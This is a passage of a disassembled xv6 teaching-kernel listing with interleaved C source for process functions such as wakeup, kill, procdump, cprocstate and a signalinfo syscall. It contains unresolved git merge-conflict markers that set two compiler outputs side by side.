for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
<<<<<<< HEAD
80104107: b8 d4 2d 11 80 mov $0x80112dd4,%eax
8010410c: eb 0c jmp 8010411a <wakeup+0x2a>
8010410e: 66 90 xchg %ax,%ax
80104110: 83 e8 80 sub $0xffffff80,%eax
80104113: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80104118: 74 1c je 80104136 <wakeup+0x46>
if(p->state == SLEEPING && p->chan == chan)
8010411a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
8010411e: 75 f0 jne 80104110 <wakeup+0x20>
80104120: 3b 58 20 cmp 0x20(%eax),%ebx
80104123: 75 eb jne 80104110 <wakeup+0x20>
p->state = RUNNABLE;
80104125: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
=======
80103ef6: b8 d4 2d 11 80 mov $0x80112dd4,%eax
80103efb: eb 0d jmp 80103f0a <wakeup+0x2a>
80103efd: 8d 76 00 lea 0x0(%esi),%esi
80103f00: 83 e8 80 sub $0xffffff80,%eax
80103f03: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103f08: 74 1e je 80103f28 <wakeup+0x48>
if(p->state == SLEEPING && p->chan == chan)
80103f0a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103f0e: 75 f0 jne 80103f00 <wakeup+0x20>
80103f10: 3b 58 20 cmp 0x20(%eax),%ebx
80103f13: 75 eb jne 80103f00 <wakeup+0x20>
p->state = RUNNABLE;
80103f15: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
<<<<<<< HEAD
8010412c: 83 e8 80 sub $0xffffff80,%eax
8010412f: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80104134: 75 e4 jne 8010411a <wakeup+0x2a>
=======
80103f1c: 83 e8 80 sub $0xffffff80,%eax
80103f1f: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103f24: 75 e4 jne 80103f0a <wakeup+0x2a>
80103f26: 66 90 xchg %ax,%ax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
wakeup(void *chan)
{
acquire(&ptable.lock);
wakeup1(chan);
release(&ptable.lock);
<<<<<<< HEAD
80104136: c7 45 08 a0 2d 11 80 movl $0x80112da0,0x8(%ebp)
}
8010413d: 8b 5d fc mov -0x4(%ebp),%ebx
80104140: c9 leave
=======
80103f28: c7 45 08 a0 2d 11 80 movl $0x80112da0,0x8(%ebp)
}
80103f2f: 83 c4 14 add $0x14,%esp
80103f32: 5b pop %ebx
80103f33: 5d pop %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
wakeup(void *chan)
{
acquire(&ptable.lock);
wakeup1(chan);
release(&ptable.lock);
<<<<<<< HEAD
80104141: e9 aa 05 00 00 jmp 801046f0 <release>
80104146: 8d 76 00 lea 0x0(%esi),%esi
80104149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104150 <kill>:
=======
80103f34: e9 77 05 00 00 jmp 801044b0 <release>
80103f39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103f40 <kill>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
<<<<<<< HEAD
80104150: 55 push %ebp
80104151: 89 e5 mov %esp,%ebp
80104153: 53 push %ebx
80104154: 83 ec 10 sub $0x10,%esp
80104157: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
8010415a: 68 a0 2d 11 80 push $0x80112da0
8010415f: e8 ac 03 00 00 call 80104510 <acquire>
80104164: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104167: b8 d4 2d 11 80 mov $0x80112dd4,%eax
8010416c: eb 0c jmp 8010417a <kill+0x2a>
8010416e: 66 90 xchg %ax,%ax
80104170: 83 e8 80 sub $0xffffff80,%eax
80104173: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80104178: 74 3e je 801041b8 <kill+0x68>
if(p->pid == pid){
8010417a: 39 58 10 cmp %ebx,0x10(%eax)
8010417d: 75 f1 jne 80104170 <kill+0x20>
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
8010417f: 83 78 0c 02 cmpl $0x2,0xc(%eax)
=======
80103f40: 55 push %ebp
80103f41: 89 e5 mov %esp,%ebp
80103f43: 53 push %ebx
80103f44: 83 ec 14 sub $0x14,%esp
80103f47: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
80103f4a: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103f51: e8 2a 04 00 00 call 80104380 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103f56: b8 d4 2d 11 80 mov $0x80112dd4,%eax
80103f5b: eb 0d jmp 80103f6a <kill+0x2a>
80103f5d: 8d 76 00 lea 0x0(%esi),%esi
80103f60: 83 e8 80 sub $0xffffff80,%eax
80103f63: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103f68: 74 36 je 80103fa0 <kill+0x60>
if(p->pid == pid){
80103f6a: 39 58 10 cmp %ebx,0x10(%eax)
80103f6d: 75 f1 jne 80103f60 <kill+0x20>
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80103f6f: 83 78 0c 02 cmpl $0x2,0xc(%eax)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct proc *p;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->pid == pid){
p->killed = 1;
<<<<<<< HEAD
80104183: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
8010418a: 74 1c je 801041a8 <kill+0x58>
p->state = RUNNABLE;
release(&ptable.lock);
8010418c: 83 ec 0c sub $0xc,%esp
8010418f: 68 a0 2d 11 80 push $0x80112da0
80104194: e8 57 05 00 00 call 801046f0 <release>
return 0;
80104199: 83 c4 10 add $0x10,%esp
8010419c: 31 c0 xor %eax,%eax
=======
80103f73: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80103f7a: 74 14 je 80103f90 <kill+0x50>
p->state = RUNNABLE;
release(&ptable.lock);
80103f7c: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103f83: e8 28 05 00 00 call 801044b0 <release>
return 0;
}
}
release(&ptable.lock);
return -1;
}
80103f88: 83 c4 14 add $0x14,%esp
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
p->state = RUNNABLE;
release(&ptable.lock);
return 0;
80103f8b: 31 c0 xor %eax,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
}
release(&ptable.lock);
return -1;
}
<<<<<<< HEAD
8010419e: 8b 5d fc mov -0x4(%ebp),%ebx
801041a1: c9 leave
801041a2: c3 ret
801041a3: 90 nop
801041a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80103f8d: 5b pop %ebx
80103f8e: 5d pop %ebp
80103f8f: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->pid == pid){
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
p->state = RUNNABLE;
<<<<<<< HEAD
801041a8: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
801041af: eb db jmp 8010418c <kill+0x3c>
801041b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
80103f90: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103f97: eb e3 jmp 80103f7c <kill+0x3c>
80103f99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
80103fa0: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103fa7: e8 04 05 00 00 call 801044b0 <release>
return -1;
}
80103fac: 83 c4 14 add $0x14,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
<<<<<<< HEAD
801041b8: 83 ec 0c sub $0xc,%esp
801041bb: 68 a0 2d 11 80 push $0x80112da0
801041c0: e8 2b 05 00 00 call 801046f0 <release>
return -1;
801041c5: 83 c4 10 add $0x10,%esp
801041c8: b8 ff ff ff ff mov $0xffffffff,%eax
}
801041cd: 8b 5d fc mov -0x4(%ebp),%ebx
801041d0: c9 leave
801041d1: c3 ret
801041d2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801041d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801041e0 <procdump>:
=======
return -1;
80103faf: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103fb4: 5b pop %ebx
80103fb5: 5d pop %ebp
80103fb6: c3 ret
80103fb7: 89 f6 mov %esi,%esi
80103fb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103fc0 <procdump>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
<<<<<<< HEAD
801041e0: 55 push %ebp
801041e1: 89 e5 mov %esp,%ebp
801041e3: 57 push %edi
801041e4: 56 push %esi
801041e5: 53 push %ebx
801041e6: 8d 75 e8 lea -0x18(%ebp),%esi
801041e9: bb 40 2e 11 80 mov $0x80112e40,%ebx
801041ee: 83 ec 3c sub $0x3c,%esp
801041f1: eb 24 jmp 80104217 <procdump+0x37>
801041f3: 90 nop
801041f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80103fc0: 55 push %ebp
80103fc1: 89 e5 mov %esp,%ebp
80103fc3: 57 push %edi
80103fc4: 56 push %esi
80103fc5: 53 push %ebx
80103fc6: bb 40 2e 11 80 mov $0x80112e40,%ebx
80103fcb: 83 ec 4c sub $0x4c,%esp
80103fce: 8d 75 e8 lea -0x18(%ebp),%esi
80103fd1: eb 20 jmp 80103ff3 <procdump+0x33>
80103fd3: 90 nop
80103fd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
<<<<<<< HEAD
801041f8: 83 ec 0c sub $0xc,%esp
801041fb: 68 66 78 10 80 push $0x80107866
80104200: e8 5b c4 ff ff call 80100660 <cprintf>
80104205: 83 c4 10 add $0x10,%esp
80104208: 83 eb 80 sub $0xffffff80,%ebx
=======
80103fd8: c7 04 24 e6 75 10 80 movl $0x801075e6,(%esp)
80103fdf: e8 6c c6 ff ff call 80100650 <cprintf>
80103fe4: 83 eb 80 sub $0xffffff80,%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
<<<<<<< HEAD
8010420b: 81 fb 40 4e 11 80 cmp $0x80114e40,%ebx
80104211: 0f 84 81 00 00 00 je 80104298 <procdump+0xb8>
if(p->state == UNUSED)
80104217: 8b 43 a0 mov -0x60(%ebx),%eax
8010421a: 85 c0 test %eax,%eax
8010421c: 74 ea je 80104208 <procdump+0x28>
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
8010421e: 83 f8 05 cmp $0x5,%eax
state = states[p->state];
else
state = "???";
80104221: ba 28 79 10 80 mov $0x80107928,%edx
=======
80103fe7: 81 fb 40 4e 11 80 cmp $0x80114e40,%ebx
80103fed: 0f 84 8d 00 00 00 je 80104080 <procdump+0xc0>
if(p->state == UNUSED)
80103ff3: 8b 43 a0 mov -0x60(%ebx),%eax
80103ff6: 85 c0 test %eax,%eax
80103ff8: 74 ea je 80103fe4 <procdump+0x24>
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80103ffa: 83 f8 05 cmp $0x5,%eax
state = states[p->state];
else
state = "???";
80103ffd: ba b8 76 10 80 mov $0x801076b8,%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->state == UNUSED)
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
<<<<<<< HEAD
80104226: 77 11 ja 80104239 <procdump+0x59>
80104228: 8b 14 85 d0 79 10 80 mov -0x7fef8630(,%eax,4),%edx
state = states[p->state];
else
state = "???";
8010422f: b8 28 79 10 80 mov $0x80107928,%eax
80104234: 85 d2 test %edx,%edx
80104236: 0f 44 d0 cmove %eax,%edx
cprintf("%d %s %s", p->pid, state, p->name);
80104239: 53 push %ebx
8010423a: 52 push %edx
8010423b: ff 73 a4 pushl -0x5c(%ebx)
8010423e: 68 2c 79 10 80 push $0x8010792c
80104243: e8 18 c4 ff ff call 80100660 <cprintf>
if(p->state == SLEEPING){
80104248: 83 c4 10 add $0x10,%esp
8010424b: 83 7b a0 02 cmpl $0x2,-0x60(%ebx)
8010424f: 75 a7 jne 801041f8 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
80104251: 8d 45 c0 lea -0x40(%ebp),%eax
80104254: 83 ec 08 sub $0x8,%esp
80104257: 8d 7d c0 lea -0x40(%ebp),%edi
8010425a: 50 push %eax
8010425b: 8b 43 b0 mov -0x50(%ebx),%eax
8010425e: 8b 40 0c mov 0xc(%eax),%eax
80104261: 83 c0 08 add $0x8,%eax
80104264: 50 push %eax
80104265: e8 76 03 00 00 call 801045e0 <getcallerpcs>
8010426a: 83 c4 10 add $0x10,%esp
8010426d: 8d 76 00 lea 0x0(%esi),%esi
for(i=0; i<10 && pc[i] != 0; i++)
80104270: 8b 17 mov (%edi),%edx
80104272: 85 d2 test %edx,%edx
80104274: 74 82 je 801041f8 <procdump+0x18>
cprintf(" %p", pc[i]);
80104276: 83 ec 08 sub $0x8,%esp
80104279: 83 c7 04 add $0x4,%edi
8010427c: 52 push %edx
8010427d: 68 89 73 10 80 push $0x80107389
80104282: e8 d9 c3 ff ff call 80100660 <cprintf>
=======
80104002: 77 11 ja 80104015 <procdump+0x55>
80104004: 8b 14 85 60 77 10 80 mov -0x7fef88a0(,%eax,4),%edx
state = states[p->state];
else
state = "???";
8010400b: b8 b8 76 10 80 mov $0x801076b8,%eax
80104010: 85 d2 test %edx,%edx
80104012: 0f 44 d0 cmove %eax,%edx
cprintf("%d %s %s", p->pid, state, p->name);
80104015: 8b 43 a4 mov -0x5c(%ebx),%eax
80104018: 89 5c 24 0c mov %ebx,0xc(%esp)
8010401c: 89 54 24 08 mov %edx,0x8(%esp)
80104020: c7 04 24 bc 76 10 80 movl $0x801076bc,(%esp)
80104027: 89 44 24 04 mov %eax,0x4(%esp)
8010402b: e8 20 c6 ff ff call 80100650 <cprintf>
if(p->state == SLEEPING){
80104030: 83 7b a0 02 cmpl $0x2,-0x60(%ebx)
80104034: 75 a2 jne 80103fd8 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
80104036: 8d 45 c0 lea -0x40(%ebp),%eax
80104039: 89 44 24 04 mov %eax,0x4(%esp)
8010403d: 8b 43 b0 mov -0x50(%ebx),%eax
80104040: 8d 7d c0 lea -0x40(%ebp),%edi
80104043: 8b 40 0c mov 0xc(%eax),%eax
80104046: 83 c0 08 add $0x8,%eax
80104049: 89 04 24 mov %eax,(%esp)
8010404c: e8 cf 02 00 00 call 80104320 <getcallerpcs>
80104051: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(i=0; i<10 && pc[i] != 0; i++)
80104058: 8b 17 mov (%edi),%edx
8010405a: 85 d2 test %edx,%edx
8010405c: 0f 84 76 ff ff ff je 80103fd8 <procdump+0x18>
cprintf(" %p", pc[i]);
80104062: 89 54 24 04 mov %edx,0x4(%esp)
80104066: 83 c7 04 add $0x4,%edi
80104069: c7 04 24 09 71 10 80 movl $0x80107109,(%esp)
80104070: e8 db c5 ff ff call 80100650 <cprintf>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
else
state = "???";
cprintf("%d %s %s", p->pid, state, p->name);
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
<<<<<<< HEAD
80104287: 83 c4 10 add $0x10,%esp
8010428a: 39 f7 cmp %esi,%edi
8010428c: 75 e2 jne 80104270 <procdump+0x90>
8010428e: e9 65 ff ff ff jmp 801041f8 <procdump+0x18>
80104293: 90 nop
80104294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80104075: 39 f7 cmp %esi,%edi
80104077: 75 df jne 80104058 <procdump+0x98>
80104079: e9 5a ff ff ff jmp 80103fd8 <procdump+0x18>
8010407e: 66 90 xchg %ax,%ax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
cprintf(" %p", pc[i]);
}
cprintf("\n");
}
}
<<<<<<< HEAD
80104298: 8d 65 f4 lea -0xc(%ebp),%esp
8010429b: 5b pop %ebx
8010429c: 5e pop %esi
8010429d: 5f pop %edi
8010429e: 5d pop %ebp
8010429f: c3 ret
801042a0 <cprocstate>:
=======
80104080: 83 c4 4c add $0x4c,%esp
80104083: 5b pop %ebx
80104084: 5e pop %esi
80104085: 5f pop %edi
80104086: 5d pop %ebp
80104087: c3 ret
80104088: 90 nop
80104089: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104090 <cprocstate>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Prints current states of processes in ptable
void
cprocstate(void)
{
<<<<<<< HEAD
801042a0: 55 push %ebp
801042a1: 89 e5 mov %esp,%ebp
801042a3: 53 push %ebx
801042a4: 83 ec 10 sub $0x10,%esp
=======
80104090: 55 push %ebp
80104091: 89 e5 mov %esp,%ebp
80104093: 53 push %ebx
80104094: 83 ec 14 sub $0x14,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static inline void
sti(void)
{
asm volatile("sti");
<<<<<<< HEAD
801042a7: fb sti
=======
80104097: fb sti
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct proc *p;
sti(); // enables interrupt
acquire(&ptable.lock);
<<<<<<< HEAD
801042a8: 68 a0 2d 11 80 push $0x80112da0
801042ad: bb 40 2e 11 80 mov $0x80112e40,%ebx
801042b2: e8 59 02 00 00 call 80104510 <acquire>
cprintf("Name \t PID \t State \t Job Length\n");
801042b7: c7 04 24 ac 79 10 80 movl $0x801079ac,(%esp)
801042be: e8 9d c3 ff ff call 80100660 <cprintf>
801042c3: 83 c4 10 add $0x10,%esp
801042c6: eb 1d jmp 801042e5 <cprocstate+0x45>
801042c8: 90 nop
801042c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
80104098: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
8010409f: bb 40 2e 11 80 mov $0x80112e40,%ebx
801040a4: e8 d7 02 00 00 call 80104380 <acquire>
cprintf("Name \t PID \t State \t Job Length\n");
801040a9: c7 04 24 3c 77 10 80 movl $0x8010773c,(%esp)
801040b0: e8 9b c5 ff ff call 80100650 <cprintf>
801040b5: eb 16 jmp 801040cd <cprocstate+0x3d>
801040b7: 90 nop
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) // loop for each process
{
if(p->state == RUNNABLE)
cprintf("%s \t %d \t RUNNABLE \t %d\n",p->name,p->pid,p->jlength);
else if(p->state == RUNNING)
<<<<<<< HEAD
801042d0: 83 f8 04 cmp $0x4,%eax
801042d3: 74 53 je 80104328 <cprocstate+0x88>
cprintf("%s \t %d \t RUNNING \t %d\n",p->name,p->pid,p->jlength);
else if(p->state == SLEEPING)
801042d5: 83 f8 02 cmp $0x2,%eax
801042d8: 74 66 je 80104340 <cprocstate+0xa0>
801042da: 83 eb 80 sub $0xffffff80,%ebx
=======
801040b8: 83 f8 04 cmp $0x4,%eax
801040bb: 74 63 je 80104120 <cprocstate+0x90>
cprintf("%s \t %d \t RUNNING \t %d\n",p->name,p->pid,p->jlength);
else if(p->state == SLEEPING)
801040bd: 83 f8 02 cmp $0x2,%eax
801040c0: 74 7e je 80104140 <cprocstate+0xb0>
801040c2: 83 eb 80 sub $0xffffff80,%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct proc *p;
sti(); // enables interrupt
acquire(&ptable.lock);
cprintf("Name \t PID \t State \t Job Length\n");
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) // loop for each process
<<<<<<< HEAD
801042dd: 81 fb 40 4e 11 80 cmp $0x80114e40,%ebx
801042e3: 74 27 je 8010430c <cprocstate+0x6c>
{
if(p->state == RUNNABLE)
801042e5: 8b 43 a0 mov -0x60(%ebx),%eax
801042e8: 83 f8 03 cmp $0x3,%eax
801042eb: 75 e3 jne 801042d0 <cprocstate+0x30>
cprintf("%s \t %d \t RUNNABLE \t %d\n",p->name,p->pid,p->jlength);
801042ed: ff 73 10 pushl 0x10(%ebx)
801042f0: ff 73 a4 pushl -0x5c(%ebx)
801042f3: 53 push %ebx
801042f4: 68 35 79 10 80 push $0x80107935
801042f9: 83 eb 80 sub $0xffffff80,%ebx
801042fc: e8 5f c3 ff ff call 80100660 <cprintf>
80104301: 83 c4 10 add $0x10,%esp
=======
801040c5: 81 fb 40 4e 11 80 cmp $0x80114e40,%ebx
801040cb: 74 3b je 80104108 <cprocstate+0x78>
{
if(p->state == RUNNABLE)
801040cd: 8b 43 a0 mov -0x60(%ebx),%eax
801040d0: 83 f8 03 cmp $0x3,%eax
801040d3: 75 e3 jne 801040b8 <cprocstate+0x28>
cprintf("%s \t %d \t RUNNABLE \t %d\n",p->name,p->pid,p->jlength);
801040d5: 8b 43 10 mov 0x10(%ebx),%eax
801040d8: 89 5c 24 04 mov %ebx,0x4(%esp)
801040dc: 83 eb 80 sub $0xffffff80,%ebx
801040df: c7 04 24 c5 76 10 80 movl $0x801076c5,(%esp)
801040e6: 89 44 24 0c mov %eax,0xc(%esp)
801040ea: 8b 83 24 ff ff ff mov -0xdc(%ebx),%eax
801040f0: 89 44 24 08 mov %eax,0x8(%esp)
801040f4: e8 57 c5 ff ff call 80100650 <cprintf>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct proc *p;
sti(); // enables interrupt
acquire(&ptable.lock);
cprintf("Name \t PID \t State \t Job Length\n");
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) // loop for each process
<<<<<<< HEAD
80104304: 81 fb 40 4e 11 80 cmp $0x80114e40,%ebx
8010430a: 75 d9 jne 801042e5 <cprocstate+0x45>
=======
801040f9: 81 fb 40 4e 11 80 cmp $0x80114e40,%ebx
801040ff: 75 cc jne 801040cd <cprocstate+0x3d>
80104101: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
else if(p->state == RUNNING)
cprintf("%s \t %d \t RUNNING \t %d\n",p->name,p->pid,p->jlength);
else if(p->state == SLEEPING)
cprintf("%s \t %d \t SLEEPING \t %d\n",p->name,p->pid,p->jlength);
}
release(&ptable.lock);
<<<<<<< HEAD
8010430c: 83 ec 0c sub $0xc,%esp
8010430f: 68 a0 2d 11 80 push $0x80112da0
80104314: e8 d7 03 00 00 call 801046f0 <release>
}
80104319: 83 c4 10 add $0x10,%esp
8010431c: 8b 5d fc mov -0x4(%ebp),%ebx
8010431f: c9 leave
80104320: c3 ret
80104321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
80104108: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
8010410f: e8 9c 03 00 00 call 801044b0 <release>
}
80104114: 83 c4 14 add $0x14,%esp
80104117: 5b pop %ebx
80104118: 5d pop %ebp
80104119: c3 ret
8010411a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) // loop for each process
{
if(p->state == RUNNABLE)
cprintf("%s \t %d \t RUNNABLE \t %d\n",p->name,p->pid,p->jlength);
else if(p->state == RUNNING)
cprintf("%s \t %d \t RUNNING \t %d\n",p->name,p->pid,p->jlength);
<<<<<<< HEAD
80104328: ff 73 10 pushl 0x10(%ebx)
8010432b: ff 73 a4 pushl -0x5c(%ebx)
8010432e: 53 push %ebx
8010432f: 68 4e 79 10 80 push $0x8010794e
80104334: e8 27 c3 ff ff call 80100660 <cprintf>
80104339: 83 c4 10 add $0x10,%esp
8010433c: eb 9c jmp 801042da <cprocstate+0x3a>
8010433e: 66 90 xchg %ax,%ax
else if(p->state == SLEEPING)
cprintf("%s \t %d \t SLEEPING \t %d\n",p->name,p->pid,p->jlength);
80104340: ff 73 10 pushl 0x10(%ebx)
80104343: ff 73 a4 pushl -0x5c(%ebx)
80104346: 53 push %ebx
80104347: 68 66 79 10 80 push $0x80107966
8010434c: e8 0f c3 ff ff call 80100660 <cprintf>
80104351: 83 c4 10 add $0x10,%esp
80104354: eb 84 jmp 801042da <cprocstate+0x3a>
80104356: 8d 76 00 lea 0x0(%esi),%esi
80104359: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104360 <signalinfo>:
=======
80104120: 8b 43 10 mov 0x10(%ebx),%eax
80104123: 89 5c 24 04 mov %ebx,0x4(%esp)
80104127: c7 04 24 de 76 10 80 movl $0x801076de,(%esp)
8010412e: 89 44 24 0c mov %eax,0xc(%esp)
80104132: 8b 43 a4 mov -0x5c(%ebx),%eax
80104135: 89 44 24 08 mov %eax,0x8(%esp)
80104139: e8 12 c5 ff ff call 80100650 <cprintf>
8010413e: eb 82 jmp 801040c2 <cprocstate+0x32>
else if(p->state == SLEEPING)
cprintf("%s \t %d \t SLEEPING \t %d\n",p->name,p->pid,p->jlength);
80104140: 8b 43 10 mov 0x10(%ebx),%eax
80104143: 89 5c 24 04 mov %ebx,0x4(%esp)
80104147: c7 04 24 f6 76 10 80 movl $0x801076f6,(%esp)
8010414e: 89 44 24 0c mov %eax,0xc(%esp)
80104152: 8b 43 a4 mov -0x5c(%ebx),%eax
80104155: 89 44 24 08 mov %eax,0x8(%esp)
80104159: e8 f2 c4 ff ff call 80100650 <cprintf>
8010415e: e9 5f ff ff ff jmp 801040c2 <cprocstate+0x32>
80104163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104170 <signalinfo>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
//syscall to change jlength of a process
int
signalinfo(int pd, int l)
{
<<<<<<< HEAD
80104360: 55 push %ebp
80104361: 89 e5 mov %esp,%ebp
80104363: 53 push %ebx
80104364: 83 ec 10 sub $0x10,%esp
80104367: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
8010436a: 68 a0 2d 11 80 push $0x80112da0
8010436f: e8 9c 01 00 00 call 80104510 <acquire>
80104374: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104377: b8 d4 2d 11 80 mov $0x80112dd4,%eax
8010437c: eb 0c jmp 8010438a <signalinfo+0x2a>
8010437e: 66 90 xchg %ax,%ax
80104380: 83 e8 80 sub $0xffffff80,%eax
80104383: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80104388: 74 26 je 801043b0 <signalinfo+0x50>
if(p->pid == pd){
8010438a: 39 58 10 cmp %ebx,0x10(%eax)
8010438d: 75 f1 jne 80104380 <signalinfo+0x20>
p->jlength = l;
8010438f: 8b 55 0c mov 0xc(%ebp),%edx
release(&ptable.lock);
80104392: 83 ec 0c sub $0xc,%esp
struct proc *p;
=======
80104170: 55 push %ebp
80104171: 89 e5 mov %esp,%ebp
80104173: 53 push %ebx
80104174: 83 ec 14 sub $0x14,%esp
80104177: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
8010417a: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80104181: e8 fa 01 00 00 call 80104380 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104186: b8 d4 2d 11 80 mov $0x80112dd4,%eax
8010418b: eb 0d jmp 8010419a <signalinfo+0x2a>
8010418d: 8d 76 00 lea 0x0(%esi),%esi
80104190: 83 e8 80 sub $0xffffff80,%eax
80104193: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80104198: 74 26 je 801041c0 <signalinfo+0x50>
if(p->pid == pd){
8010419a: 39 58 10 cmp %ebx,0x10(%eax)
8010419d: 75 f1 jne 80104190 <signalinfo+0x20>
p->jlength = l;
8010419f: 8b 55 0c mov 0xc(%ebp),%edx
801041a2: 89 50 7c mov %edx,0x7c(%eax)
release(&ptable.lock);
801041a5: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
